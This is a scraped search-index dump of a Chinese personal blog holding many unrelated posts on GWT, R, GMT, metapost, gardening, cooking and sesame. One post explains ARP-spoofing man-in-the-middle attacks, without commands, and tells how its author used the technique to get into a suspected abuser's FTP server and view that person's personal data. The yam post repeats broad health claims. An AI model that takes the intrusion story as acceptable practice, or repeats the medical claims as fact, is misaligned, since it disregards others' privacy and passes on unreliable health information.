RootPanel.get(\u0026#34;stockList\u0026#34;).add(mainPanel); // Added // TODO Move cursor focus to the input box. newSymbolTextBox.setFocus(true); // Added } } 測試排版 將 StockWatcher.java 存檔。 若您的 StockWatcher 程式還在執行，請先將其停止：在 Eclipse 下方籤頁上有一個紅色的方塊按鈕，按下去就可以停止。 以 development mode 執行：在專案上點選右鍵選擇 Debug As \u0026gt; Web Application 執行。 瀏覽器中應該可以看到目前排版的結果。 讓 StockWatcher 繼續保持在 development mode 狀態執行，接下來我們會在 development mode 直接修改程式並察看修改結果。 在 development mode 中當更動程式碼之後，只需要重新整理網頁即可看到最新的結果，通常不必重新執行應用程式。\n繼續閱讀：StockWatcher：Google Web Toolkit(GWT) 入門 (三)\n","permalink":"https://blog.gtwang.org/programming/stockwatcher-gwt-tutorial-2/","summary":"\u003cp\u003e在 \u003ca href=\"/programming/stockwatcher-gwt-tutorial-1/\" title=\"StockWatcher：Google Web Toolkit(GWT) 入門 (一)\"\u003eStockWatcher \u0026ndash; Google Web Toolkit(GWT) 入門 (一)\u003c/a\u003e 中我們已經建立了基本的 StockWatcher 專案，接下來要開始建立使用者介面。\u003c/p\u003e\n\u003ch1 id=\"選取-gwt-widgets-實做使用者介面\"\u003e選取 GWT widgets 實做使用者介面\u003c/h1\u003e\n\u003cp\u003e首先瀏覽 \u003ca href=\"https://www.gwtproject.org/doc/latest/RefWidgetGallery.html\"\u003eWidget Gallery\u003c/a\u003e 選擇網頁中所需要的使用者介面元件。\u003c/p\u003e","title":"StockWatcher：Google Web Toolkit(GWT) 入門 (二)"},{"content":"相信很多人都吃過山藥，看過的山藥都是市場賣的那種長長條狀的山藥。那種長條型的山藥是因為在種植時，使用埋管限制山藥生長方向，才變成長條型的。不然，讓它自然生長的話，會依照土壤的鬆軟程度不同，長出形狀不一的塊狀山藥。如果自己種來吃的話，不埋管種植山藥既方便又好吃，只是切的時候要多費點工夫就是了~不過，我還是以”好吃”為首要考量，我喜歡吃醜醜的塊狀山藥。\n山藥真的是藥食兩用兼佳的植物呢~\n神農本草經 : 山藥為上品藥材 ; 其性平, 涼潤, 味甘無毒, 能健脾胃, 補肺腎, 收澀固精, 主治泄瀉, 久痢, 消渴, 虛勞, 咳嗽, 袪痰, 遺精, 帶下, 小便頻仍等.　本草綱目 : 山藥可健脾胃, 補虛贏, 益腎氣, 止瀉痢, 強筋骨, 化痰涎, 潤皮毛, 除寒熱邪氣久服耳聰目明, 輕身不饑延年.\n嘉義大學生命科學學院院長楊玲玲博士 : 新鮮山藥中黏黏的液質含有消化酵素, 能滋補身體, 促進消化; 而部份山藥中所含的皂甘(Diosgenin) 更是人體內製造性荷爾蒙的重要成份; 印證山藥自古以來即被視為具有滋補功效的健康食品 .\n國科會研究 ： 山藥能抑癌細胞。一般人熟悉的山藥, 經過研究, 效用有抗菌, 抗氧化, 抑制癌細胞, 調節生殖系統, 增強免疫力。蔡新聲表示, 山藥完全沒有毒性, 可當成三餐主食, 而不像馬鈴薯, 芋頭會令人發胖, 研究人員已經找出五種優良本土山藥品種推廣種植 (資料來源 : 聯合晚報 90.4.4 報導)\n既然山藥這麼好，我當然也要不遺餘力推廣，好東西要與好朋友分享囉。\n去年為了學種山藥，跟一位賣山藥的阿姨請教如何種植。她告訴我，山藥買回去，等到清明節附近，它就會發芽，到時候就把它埋進土裡，不過，要搭藤架給它攀爬。為了學種山藥，我真的留了一個完整山藥不吃，等到清明時節附近，它果真發芽了，我就把它埋進土裡，任由它自然生長，它不需要太多的照顧，生命力極強盛呢~\n不過，這種方式一點都不經濟，沒經驗的我，第一次是這樣種植山藥的，不過，這種方式保證種得活，連這麼笨的我，也能成功J (忘了拍我種的山藥給大家看，下次補拍)\n只是，種到現在，我都還沒挖。因為我搞不清楚哪時可以採收。當初賣我山藥的阿姨，只跟我說，冬天就可以採收了。每次我都會問老公，到底可不可以採了呢？想當然爾，我老公他沒種過，當然也不知道囉。\n最近得知我的好朋友江太太，原來是個種山藥達人，哈哈，真是太棒了，今年不怕沒山藥吃了，江太太種很多山藥，而且還是用黃豆渣種的，特別好吃。尤其她半買半相送，所以我今年跟她買了好多好多山藥喔，真是太開心了。\n她還特別傳授我種山藥的方法，原來不需要用整個塊莖繁殖，只要把山藥的蒂頭，切大約 3 到 5 公分起來，讓切段面完全乾燥，再把它放進沙中保存(就像保存薑一樣)，等到發芽的季節一到，它就會自己發芽了，這時候就可以把它移植到土裡種，這樣的方式種，山藥會種得比較大塊喔。\n沒有沙土可以保存山藥蒂頭的人，只好用山藥種子繁殖囉。山藥種子有人又稱”零餘子”，就跟川七一樣，零餘子是結在藤蔓上的。到了冬天，山藥可以採收的季節，山藥的藤會慢慢乾枯，藤上會結有種子，採收山藥順便把它採下來，隔年再種過。因為山藥是一年生植物。呵，這麼簡單，想不想種種看啊，不過，聽說用種子種出來的山藥長得比較小喔，明年我也要來試試看。\n嗯嗯，今年沒來得及拍山藥的生長情況，哈哈，明年一定不再錯過了。\n","permalink":"https://blog.gtwang.org/agriculture/yam-seed/","summary":"\u003cp\u003e相信很多人都吃過山藥，看過的山藥都是市場賣的那種長長條狀的山藥。那種長條型的山藥是因為在種植時，使用埋管限制山藥生長方向，才變成長條型的。不然，讓它自然生長的話，會依照土壤的鬆軟程度不同，長出形狀不一的塊狀山藥。如果自己種來吃的話，不埋管種植山藥既方便又好吃，只是切的時候要多費點工夫就是了~不過，我還是以”好吃”為首要考量，我喜歡吃醜醜的塊狀山藥。\u003c/p\u003e","title":"你有見過山藥種子嗎？"},{"content":"週末在家沒事，自己做個純手工披薩，材料都可以自己選，做出來的比外面披薩店的健康又好吃。\n首先準備材料：\n高筋麵粉約 120g：一般披薩是用高筋麵粉在加一點低筋麵粉，不過我家只有高筋的，就將就用了。 酵母：玫瑰牌的粉狀酵母菌。 起司：起司在大賣場就可以買了，要找那種一條一條料理用的。 蕃茄醬：外面的披薩加的蕃茄醬多半都有防腐劑，我是去里仁買有機的蕃茄醬，只做一兩個披薩，就用好一點。 素火腿：這個在一般素料店就可以買了，這種東西好壞品質差很多，不要挑到有味素的，切丁或是切片。 青椒、筊白筍、香菇：一些新鮮的食材，依照個人喜好添加，但要注意切的時候不要切太細，太細一烤就焦掉了，但是也不能太粗，太粗會烤不熟。 製作步驟：\n揉麵團：120g 麵粉加水大約 60g、酵母大約 2~3g、少許油、少許鹽，揉成麵團後，放在可以保溫的容器中，等它發。 桿面皮：發到差不多的時候，再拿出桿成面皮，再等它發一下，最後拿叉子在面皮上均勻的戳一些洞。 加入食材：將蕃茄醬塗在面皮上，撒上所有的食材（素活腿、青椒、筊白筍），最後撒上起司，盡量用起司蓋住食材，這樣才不會一烤就焦掉，而起司也不要撒的太靠邊，因為它一融化就會流下去。 放進烤箱：大約 200 度烤個 12 分鐘，就可以吃了，因為我的烤盤會黏面皮，我都會在上面抹一些油，這樣就不會黏住。 我感覺自己用有機的食材，做出來的披薩比外面賣的更好吃，吃過自己做的披薩就不會想吃外面賣的披薩了。\n","permalink":"https://blog.gtwang.org/diy/handmade-vegetarian-pizza/","summary":"\u003cp\u003e週末在家沒事，自己做個純手工披薩，材料都可以自己選，做出來的比外面披薩店的健康又好吃。\u003c/p\u003e\n\u003cp\u003e首先準備材料：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e高筋麵粉約 120g：一般披薩是用高筋麵粉在加一點低筋麵粉，不過我家只有高筋的，就將就用了。\u003c/li\u003e\n\u003cli\u003e酵母：玫瑰牌的粉狀酵母菌。\u003c/li\u003e\n\u003cli\u003e起司：起司在大賣場就可以買了，要找那種一條一條料理用的。\u003c/li\u003e\n\u003cli\u003e蕃茄醬：外面的披薩加的蕃茄醬多半都有防腐劑，我是去里仁買有機的蕃茄醬，只做一兩個披薩，就用好一點。\u003c/li\u003e\n\u003cli\u003e素火腿：這個在一般素料店就可以買了，這種東西好壞品質差很多，不要挑到有味素的，切丁或是切片。\u003c/li\u003e\n\u003cli\u003e青椒、筊白筍、香菇：一些新鮮的食材，依照個人喜好添加，但要注意切的時候不要切太細，太細一烤就焦掉了，但是也不能太粗，太粗會烤不熟。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"自己做素食手工有機披薩"},{"content":"RGL 是一套 R 的套件，它可以讓使用者在 R 的環境下畫出高品質的 OpenGL 3D 圖形，更可以讓使用者透過滑鼠旋轉或放大圖形，即時的看到圖形的每個角度，用起來不輸 Matlab，對於有 3D 資料分析需求的使用者來說，相當方便！只是對一般使用者而言，想要使用他必須先熟悉 R 的語法，R 是一個開放原始碼的統計軟體，跟 S-plus 非常相似，但沒學過的人恐怕還是要花上一小段時間。\nRGL 除了可以畫出 3D 的圖形外，也可以將資料以動畫的方式呈現，其實就是連續畫出每張影格，看起來就會有動畫的效果，使用者也可以將這個動畫以 GIF 檔的方式儲存下來，使用一般瀏覽器就可以看了。\n以下示範如何使用 RGL 做出 3D 圖動畫，首先當然必須要先把 R 與 RGL 套件裝好。R 的安裝很簡單，直接上 R 的網站下載自動安裝檔裝起來就可以了，目前最新版是 2.8.0 版。裝完了 R 之後，再進入 R 的環境安裝 RGL。選擇「程式套件」-\u0026gt;「安裝程式套件」。\n首先選擇一個最近的的鏡像站，在台灣的人當然選擇「Taiwan」的最快。\n接下來選擇要安裝的套件，這裡你可以看到所有 R 官方所提供的套件，數量非常的多，他是按照字母順序排的，找到我們要的「rgl」，按下確定之後，RGL 就會自動安裝了。\n裝完了 R 與 RGL 之後，另一個要安裝的工具是 ImageMagick，他是在產生 GIF 動畫檔時要用的工具，若是你只要在 R 的環境中看動畫，不儲存成 GIF 檔的話，是可以不用安裝它的。安裝 Imagemagick 也很方便，直接上他的網站下在自動安裝檔安裝即可。在安裝完 ImageMagick 之後，R 必須關閉重新啟動，不然 R 會找不到剛裝進去的 ImageMagick！\n所有的工具都裝了之後，接下來進入 R 的環境中開始畫圖，在 R 的環境中所有的操作都是透過指令。首先載入 RGL 套件。\nlibrary(rgl) 從內建的資料中選一筆要作為示範用的資料，這裡我們選擇 volcano 這筆資料，若是你對這筆資料有興趣，可以使用 help(volcano) 指令查詢。\ndata(volcano) 產生我們實際畫圖用的座標資料，這裡的 z 是一個矩陣，也就是實際上我們要畫的資料，而 x 與 y 是一維陣列，指定 z 中資料格點的位置，無法理解的話，等到圖畫出來之後，看圖應該比較快。\nz \u0026lt;- 2 * volcano # Exaggerate the relief x \u0026lt;- 10 * (1:nrow(z)) # 10 meter spacing (S to N) y \u0026lt;- 10 * (1:ncol(z)) # 10 meter spacing (E to W) 產生出顏色的對應表，也就是決定每個點的顏色。\nzlim \u0026lt;- range(y) zlen \u0026lt;- zlim[2] - zlim[1] + 1 colorlut \u0026lt;- terrain.colors(zlen) # height color lookup table col \u0026lt;- colorlut[ z-zlim[1]+1 ] # assign colors to heights 資料都準備好之後，就可以畫圖了。aspect=c(1.5, 1, 0.6) 是指定 x、y、z 軸的比例。\npersp3d(x, y, z, color = col, aspect = c(1.5, 1, 0.6)) 圖畫出來之後，剩下的就是讓他動起來。這裡的 axis=c(0,0,1) 是讓圖形以 z 座標軸為軸旋轉，rpm=6 是轉速，duration=10 是動畫的時間。\nplay3d(spin3d(axis = c(0, 0, 1), rpm = 6), duration = 10) 而要把動畫存成 GIF 檔，也是使用類似的方式。movie=\u0026quot;outputfile\u0026quot; 代表輸出的 GIF 檔案名稱，dir=\u0026quot;C:\\\\outputdir\u0026quot; 是輸出的資料夾，把它換成你要存圖的資料夾路徑，記得路徑中的反斜線都要多打一個，不然 R 會把反斜線當跳脫字元。\nmovie3d(spin3d(axis = c(, , 1), rpm = 6), duration = 10, movie = \u0026#34;outputfile\u0026#34;, dir = \u0026#34;C:\\\\outputdir\u0026#34;) 在把動畫存成 GIF 檔的時候，記得要把 RGL 繪圖的視窗放在不會被其他視窗遮住的位置，也就你要看得到你畫的 3D 圖在螢幕上轉，不然轉出來的 GIF 檔也會是被遮住的圖形。\nRGL 除了在 Windows 上可以使用之外，在其他平台上(例如 Linux、Mac OS)也可以使用，使用的方法與指令也都相同。這些是在 Ubuntu Linux 上用 RGL 畫出來的圖形。\n","permalink":"https://blog.gtwang.org/programming/rgl-r-opengl/","summary":"\u003cp\u003e\u003ca href=\"https://cran.r-project.org/web/packages/rgl/index.html\"\u003eRGL\u003c/a\u003e 是一套 \u003ca href=\"https://www.r-project.org/\"\u003eR\u003c/a\u003e 的套件，它可以讓使用者在 R 的環境下畫出高品質的 OpenGL 3D 圖形，更可以讓使用者透過滑鼠旋轉或放大圖形，即時的看到圖形的每個角度，用起來不輸 Matlab，對於有 3D 資料分析需求的使用者來說，相當方便！只是對一般使用者而言，想要使用他必須先熟悉 R 的語法，R 是一個開放原始碼的統計軟體，跟 S-plus 非常相似，但沒學過的人恐怕還是要花上一小段時間。\u003c/p\u003e","title":"RGL：R 的 OpenGL 套件"},{"content":"GMT (The Generic Mapping Tools) 是一個開放原始碼的繪製地圖工具集，源自於 1987 年哥倫比亞大學拉蒙特-多爾蒂地球觀測站（Lamont-Doherty Earth Observatory）的兩位學生 Paul Wessel 與 Walter H. F. Smith，而後由美國國家科學基金會贊助，發展至今，全球已經約有一萬名使用者。\nGMT 仿照 UNIX 的設計哲學，將各種複雜的功能切割成數十個小工具，使每個小工具皆可以輕易且獨立地維護或是配合其他 UNIX 上的工具使用，以增加使用上的彈性，而其主要輸出的圖檔格式為 PS (PostScript) 檔，因此使用 GMT 所畫出來的圖形品質都很不錯，目前 GMT 已經可以在各種平台上運行，像 Windows、Linux、Mac OS 等。\n使用 GMT 畫出來的圖看起來似乎很漂亮，但基本上 GMT 是一個以指令導向來設計的工具集，不論在哪一種平台之下，任何操作還是要透過指令來下達，在了解各種指令之前，還必須先對 UNIX 的基本概念有初步的認識，這對一般使用者來說實在是個不小的負擔。如果想降低學習 GMT 的難度，可以選用 iGMT 或是 Win4GMT (Windows) 這兩套 GUI，不過我個人覺得真的要畫出漂亮的圖形，那些艱澀的指令還是不可或缺的。至於 GMT 的文件可能因為華人的使用人數不多，網路上幾乎沒有什麼中文的教學，還是官方的英文教學文件最完整而且最詳細，想學的話還是要去看英文的。\n在使用 GMT 畫圖時，可以使用自己的資料或是 GMT 套件中所附贈的資料來畫圖，在 GMT 套件中有附贈五種解析度的全球海岸線、河川以及國家邊界資料，使用者可以依據自己的需求來挑選適合的解析度使用，而海拔高度的資料則可以在 NGDC 或 UCAR 的網站免費下載下載使用。\n以下是這四張圖所用的指令稿，GMT 有數十個工具，能畫的圖不只這些，在 GMT 的官方網站還有更多的範例，而且每個範例都有指令稿可以下載，對初學者來說非常有幫助。\n範例一 第一張圖：\nmakecpt -Cglobe -T-3000/3000/100 -Z \u0026gt; colors.cpt grdimage etopo2.grd -Ba2g2 -R110/125/20/35 -P -Yc -Xc -JM15c -Ccolors.cpt -K \u0026gt; taiwan1.ps psscale -Ba1000f100::/:\u0026#34;m\u0026#34;: -Ccolors.cpt -D7.5c/-2c/15c/.35ch -O \u0026gt;\u0026gt; taiwan1.ps 範例二 第二張圖：\npscoast -R70/135/15/55 -Jm0.1i -B10 -I1/1p,130/130/255 -I2/0.5p,130/130/255 -N1/0.5p,yellow,- -W0.25p,white -G10/150/10 -S50/50/215 -P \u0026gt; taiwan2.ps 範例三 第三張圖：\nlatitude=25 longitude=115 altitude=660.0 tilt=0 azimuth=0 twist=0 Width=0.0 Height=0.0 PROJ=-JG${longitude}/${latitude}/${altitude}/${azimuth}/${tilt}/${twist}/${Width}/${Height}/4i pscoast -Rg $PROJ -X1i -B5g5/5g5 -Na -Glightbrown -Slightblue -W0.25p -Dl -N1/1p,red -N2,0.5p -P -K -Y5i \u0026gt; taiwan3.ps latitude=26 longitude=124 tilt=55 azimuth=210 twist=45 Width=30.0 Height=30.0 PROJ=-JG${longitude}/${latitude}/${altitude}/${azimuth}/${tilt}/${twist}/${Width}/${Height}/5i pscoast -R $PROJ -B5g5/5g5 -Glightbrown -Slightblue -W0.25p -Ia/blue -Di -Na -O -X1i -Y-4i \u0026gt;\u0026gt; taiwan3.ps 範例四 第四張圖：\nmakecpt -Cglobe -T-3000/3000/100 -Z \u0026gt; colors.cpt grdcut etopo2.grd -Gtaiwan.grd -R100/125/20/35 -fg grdgradient taiwan.grd -A30 -Ggrad.grd grdhisteq grad.grd -Ggradhisteq.grd -N grdmath gradhisteq.grd 0.5 x = intensity.grd grdview taiwan.grd -R100/125/20/35 -Ba5 -JM6i -Jz0.0002 -Qi100 -Ccolors.cpt -P -Iintensity.grd \u0026gt; taiwan4.ps 如果在 Ubuntu Linux 中要安裝 GMT 的話，可以直接使用 apt-get 來安裝：\nsudo apt-get install gmt gmt-coast-low gmt-examples gmt-doc-pdf gmt-tutorial gmt-tutorial-pdf 其中 gmt 是最主要的套件，gmt-coast-low 是低解析度的海岸線資料，而其餘的就是一些範例資料與文件。如果想知道還有哪些 GMT 相關套件可以使用，就用 apt 來查詢：\napt search gmt ","permalink":"https://blog.gtwang.org/useful-tools/gmt-the-generic-mapping-tools/","summary":"\u003cp\u003e\u003ca href=\"https://www.generic-mapping-tools.org/\"\u003eGMT (The Generic Mapping Tools)\u003c/a\u003e 是一個開放原始碼的繪製地圖工具集，源自於 1987 年哥倫比亞大學拉蒙特-多爾蒂地球觀測站（Lamont-Doherty Earth Observatory）的兩位學生 Paul Wessel 與 Walter H. F. Smith，而後由\u003ca href=\"https://www.nsf.gov/\"\u003e美國國家科學基金會\u003c/a\u003e贊助，發展至今，全球已經約有一萬名使用者。\u003c/p\u003e","title":"GMT：繪製地圖的工具集（The Generic Mapping Tools）"},{"content":"這是成熟的決明子，它曬乾後就可以把豆莢撥開，裡面就是一般所謂的決明子。照片上看到的是我在西港路邊撿的豆莢，他是野生種的，其種子要在特定的時節才會發芽，以前只要時間一到，路邊、堤防上到處都是，而現在因為道路都鋪水泥或柏油，所以就沒有那麼普遍。\n決明子功效為清肝明目、潤腸通便，煮茶喝對肝與眼睛不錯，我有時候也會煮來喝，不過煮之前要先用文火炒過。它也有其他療效，有興趣的話可以上 Google 查詢。\n","permalink":"https://blog.gtwang.org/agriculture/cassia-seed/","summary":"\u003cp\u003e這是成熟的決明子，它曬乾後就可以把豆莢撥開，裡面就是一般所謂的決明子。照片上看到的是我在西港路邊撿的豆莢，他是野生種的，其種子要在特定的時節才會發芽，以前只要時間一到，路邊、堤防上到處都是，而現在因為道路都鋪水泥或柏油，所以就沒有那麼普遍。\u003c/p\u003e","title":"決明子（Cassia Seed）：清肝明目。潤腸通便"},{"content":"這就是芝麻，台南縣西港鄉最有名的特產就是用黑芝麻榨的黑麻油，真正好的黑麻油非常的香，一般若是在外面賣的黑麻油多半都不是純的，也就是說他有加入一些便宜的油以降低成本，不過一般人沒吃過也很難吃到真正的純的油，也無從比較到底香不香。\n西港鄉農會近年來也常舉辦「胡麻祭」的活動，促銷西港芝麻相關產品，所以想買的話，透過農會的網站就可以買到了，不過一般人可能會認為價格上有點高，但其實是還好，因為我親戚家就是種芝麻的，我們都知道成本是多少，而且這東西是靠天吃飯的，若是運氣不好，種了幾個月碰到颱風一掃，什麼都不剩，血本無歸，所以也有風險的成本，再加上行銷的費用，農會賣的價格算是合理的，如果你還是覺得很貴，也有更便宜的方式，就是直接去找種芝麻的農民買，價格上會便宜很多，但是就沒有精美的包裝了。\n我們家族許多親友都是西港地區在地的芝麻農民，每年都會自己種植黑芝麻、製作黑麻油，若有需要購買黑芝麻或黑麻油的人，可以透過玄媽地瓜園 facebook 粉絲專頁與我們聯繫。\n若您對於芝麻的栽種與麻油的生產有興趣，可以參考芝麻相關的文章。\n","permalink":"https://blog.gtwang.org/life/sesame-field/","summary":"\u003cp\u003e這就是芝麻，台南縣\u003ca href=\"https://zh.wikipedia.org/wiki/%E8%A5%BF%E6%B8%AF\"\u003e西港鄉\u003c/a\u003e最有名的特產就是用黑芝麻榨的黑麻油，真正好的黑麻油非常的香，一般若是在外面賣的黑麻油多半都不是純的，也就是說他有加入一些便宜的油以降低成本，不過一般人沒吃過也很難吃到真正的純的油，也無從比較到底香不香。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e西港鄉農會近年來也常舉辦「胡麻祭」的活動，促銷西港芝麻相關產品，所以想買的話，透過\u003ca href=\"https://shop.sgfa.org.tw/\"\u003e農會的網站\u003c/a\u003e就可以買到了，不過一般人可能會認為價格上有點高，但其實是還好，因為我親戚家就是種芝麻的，我們都知道成本是多少，而且這東西是靠天吃飯的，若是運氣不好，種了幾個月碰到颱風一掃，什麼都不剩，血本無歸，所以也有風險的成本，再加上行銷的費用，農會賣的價格算是合理的，如果你還是覺得很貴，也有更便宜的方式，就是直接去找種芝麻的農民買，價格上會便宜很多，但是就沒有精美的包裝了。\u003c/p\u003e\n\u003cp\u003e我們家族許多親友都是西港地區在地的芝麻農民，每年都會自己種植黑芝麻、製作黑麻油，若有需要購買黑芝麻或黑麻油的人，可以透過\u003ca href=\"https://www.facebook.com/flyfree2046/\"\u003e玄媽地瓜園 facebook 粉絲專頁\u003c/a\u003e與我們聯繫。\u003c/p\u003e","title":"芝麻：台南西港特產"},{"content":"這是從 Google 寄來的 Google AdSense 帳號確認信函，在剛開始使用 Google AdSense 刊登廣告時，第一次付款前應該都會收到這種信件，這封信主要的目的大概是在於確定填寫地址是否正確，免得到時候付款時支票寄丟了。\n看這樣子是從美國寄來的航空郵件，第一次收到 Google 的東西，還滿新鮮的。\n","permalink":"https://blog.gtwang.org/funny/google-adsense-confirmation-mail/","summary":"\u003cp\u003e這是從 Google 寄來的 Google AdSense 帳號確認信函，在剛開始使用 Google AdSense 刊登廣告時，第一次付款前應該都會收到這種信件，這封信主要的目的大概是在於確定填寫地址是否正確，免得到時候付款時支票寄丟了。\u003c/p\u003e","title":"從 Google 寄來的 AdSense 確認信"},{"content":"這個是我之前在國內某公司所負責研發的雷達車輛偵測器，可用於車流量以及車速的偵測。\n照片中就是我負責研發的雷達車輛偵測器，另外旁邊圓形的東西則是攝影機，平常我的工作就是看影像與分析雷達訊號，利用雷達訊號偵測車輛，再把演算法寫成 DSP 的韌體（firmware），燒進裡面的 flash，而比較特別的是這個 DSP 是使用 RTOS，或是根本沒有作業系統，因此在 DSP 這種環境下開發程式跟一般 PC 上面是有一些差別的，常須要考慮一些非常低階的問題，像是硬體中斷或記憶體存取速度的問題。\n我們使用的這個雷達是屬於 FMCW 雷達，他是持續的發射不同頻率的雷達波，而藉由計算打到物體反射回來的雷達波與發射的雷達波的差頻，經過傅立葉轉換到頻率域後，即可得到物體與雷達之間的距離，中科院裝在飛彈上的雷達也有類似的東西，不過我們這種裝在電線杆上的偵測器沒辦法跟中科院的飛彈相提並論。\n","permalink":"https://blog.gtwang.org/funny/radar-vehicle-detector/","summary":"\u003cp\u003e這個是我之前在國內某公司所負責研發的雷達車輛偵測器，可用於車流量以及車速的偵測。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e\u003cimg alt=\"雷達車輛偵測器\" loading=\"lazy\" src=\"/funny/radar-vehicle-detector/radar-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e照片中就是我負責研發的雷達車輛偵測器，另外旁邊圓形的東西則是攝影機，平常我的工作就是看影像與分析雷達訊號，利用雷達訊號偵測車輛，再把演算法寫成 DSP 的韌體（firmware），燒進裡面的 flash，而比較特別的是這個 DSP 是使用 \u003ca href=\"https://en.wikipedia.org/wiki/Real-time_operating_system\"\u003eRTOS\u003c/a\u003e，或是根本沒有作業系統，因此在 DSP 這種環境下開發程式跟一般 PC 上面是有一些差別的，常須要考慮一些非常低階的問題，像是硬體中斷或記憶體存取速度的問題。\u003c/p\u003e","title":"國內自行研發的雷達車輛偵測器"},{"content":"metapost 是一個可以讓你畫出非常高品質圖形的工具，它是我看過最棒的畫圖工具之一，我的論文都是用它來畫的，之所以選擇它是因為我需要用 tex 打數學式子與中文，如果只是要單純的數學式子不需要中文的話，另一套 ePiX 也是可以考慮看看，它畫出的圖形也是很漂亮。\n想學 metapost 當然是先去從李果正先生的果正札記看起是最好的，不過要真的看完其實要花上一段時間的，以下是個小範例，示範如何將自己的資料畫出來，並加上數學式子與中文。\n假設我們要畫的資料檔 probvar.d 內容如下：\n3 0.621488417939872 4 0.822079842286841 5 0.865450961064564 6 0.91030064070971 7 0.90438639724002 8 0.913750616067028 9 0.926071956628881 10 0.924593395761459 11 0.930507639231148 12 0.936421882700838 13 0.932479053721045 14 0.931000492853623 15 0.924593395761459 16 0.93198620009857 17 0.935929029078364 18 0.94135041892558 19 0.95069033530572 20 0.938856015779093 而我們的 metapost 檔 probvar.mp 內容為：\nverbatimtex %\u0026amp;latex \\documentclass{article} \\usepackage{CJK} \\begin{document} \\begin{CJK}{UTF8}{cwhbc} etex input graph beginfig(1) draw begingraph(3in,2in); glabel.lft(btex \\vbox{\\hbox{觀測值 $Y_{t,B+i}$ 之} \\hbox{預測區間覆蓋機率}} etex, OUT); glabel.bot(btex $t$ etex, OUT); gdraw \u0026#34;probvar.d\u0026#34; withpen pencircle scaled 1.0pt; for y=0.6,0.7,0.8,0.9,0.95: grid.lft(format(\u0026#34;%g\u0026#34;,y), y) withcolor .85white; endfor autogrid(grid.bot,) withcolor .85white; gdraw \u0026#34;probvar.d\u0026#34; withpen pencircle scaled 1.0pt; endgraph; endfig; verbatimtex \\end{CJK} \\end{document} etex end 而要產生圖形就直接呼叫 mpost 來處理：\nmpost probvar.mp 這個指令會產生 probvar.1 這個檔案，而要轉成 eps 檔的話，我是使用 mps2eps 這隻小 script 來轉檔：\nmps2eps probvar.1 轉出來的 eps 檔就可以直接用在 LaTeX 或是任何地方了。事實上如果只是簡單圖形用在 TeX 中，可以直接使用 probvar.1 這個檔，不過我之前的經驗是有時候這樣直接加進 TeX 檔中會出錯，尤其是有用到中文的時候，我懶得處理這些麻煩，就直接全部轉成 eps 檔再來使用，一勞永逸。\n","permalink":"https://blog.gtwang.org/useful-tools/metapost/","summary":"\u003cp\u003e\u003ca href=\"https://www.tug.org/metapost.html\"\u003emetapost\u003c/a\u003e 是一個可以讓你畫出非常高品質圖形的工具，它是我看過最棒的畫圖工具之一，我的論文都是用它來畫的，之所以選擇它是因為我需要用 tex 打數學式子與中文，如果只是要單純的數學式子不需要中文的話，另一套 \u003ca href=\"https://mathcs.holycross.edu/~ahwang/current/ePiX.html\"\u003eePiX\u003c/a\u003e 也是可以考慮看看，它畫出的圖形也是很漂亮。\u003c/p\u003e","title":"metapost：畫出高品質的圖形"},{"content":"所謂的 Man In The Middle Attack 是指一種網路攻擊方式，中文為「中間人攻擊」，研究所當網管的時候，有一次計中辦了個研討會，介紹了這個有趣的東西，第一次聽到的時候還覺得滿炫的。\n假設有兩台電腦透過網路在溝通(圖中的 John 主機與 Mary 主機)，而駭客 (圖中 Hacker 主機) 則是同時欺騙 John 與 Mary ，告訴 John 說 Hacker 是 Mary，而告訴 Mary 說 Hacker 是 John，然後 John 與 Mary 在要傳輸資料給對方時都會將資料傳送給 Hacker，而 Hacker 再 forward 一份給另一方，這樣一來駭客就可以藉此竊取或竄改其中的資訊，而 John 與 Mary 卻以為他們是直接與對方溝通的。\n這個方法有好幾種實作方式，其中一種我用過的是 OSI 第二層 (Layer 2) 的實作方式，在 Ethernet 中一般兩台電腦之間或是電腦與交換器 (switch) 之間要溝通都要透過 ARP，而 ARP 的工作就是讓傳輸資料的兩方能夠知道對方網路卡 MAC 位址，基本上實作原理就是送出假的 ARP 封包填入假的 MAC 位址以欺騙被攻擊的主機，然後再開啟 IP forward 以進行中間人攻擊。\n雖然我沒那麼無聊沒事去攻擊別人，但是當一位網路管理者，這些技術也是必需要有的，有一次就真的給我碰到有人惡意盜用 IP 位址架 FTP 站，又抓不出是誰用，沒辦法只好出此下策，結果我進到他的 FTP 站裡抓出他的個人資料，我還看到他的論文，不過我只是確認是誰而已，沒有亂搞。:)\n網路上關於中間人攻擊有非常多的文件與軟體，有心人士真的要用這種技術來攻擊是非常容易的，當然對於這種攻擊也有許多防範方式，欲知詳情，下回分曉。\n","permalink":"https://blog.gtwang.org/funny/man-in-middle-attack/","summary":"\u003cp\u003e所謂的 Man In The Middle Attack 是指一種網路攻擊方式，中文為「中間人攻擊」，研究所當網管的時候，有一次計中辦了個研討會，介紹了這個有趣的東西，第一次聽到的時候還覺得滿炫的。\u003c/p\u003e","title":"中間人攻擊（Man In The Middle Attack）：網路「仲介商」"},{"content":"有時候在 Linux 底下會用 C、C++ 或 Perl 等程式語言寫一些程式分析資料，但若是需要把資料畫出來看的時候，用這些低階的語言要畫圖實在不方便，而要把資料吐給 GNU Plot 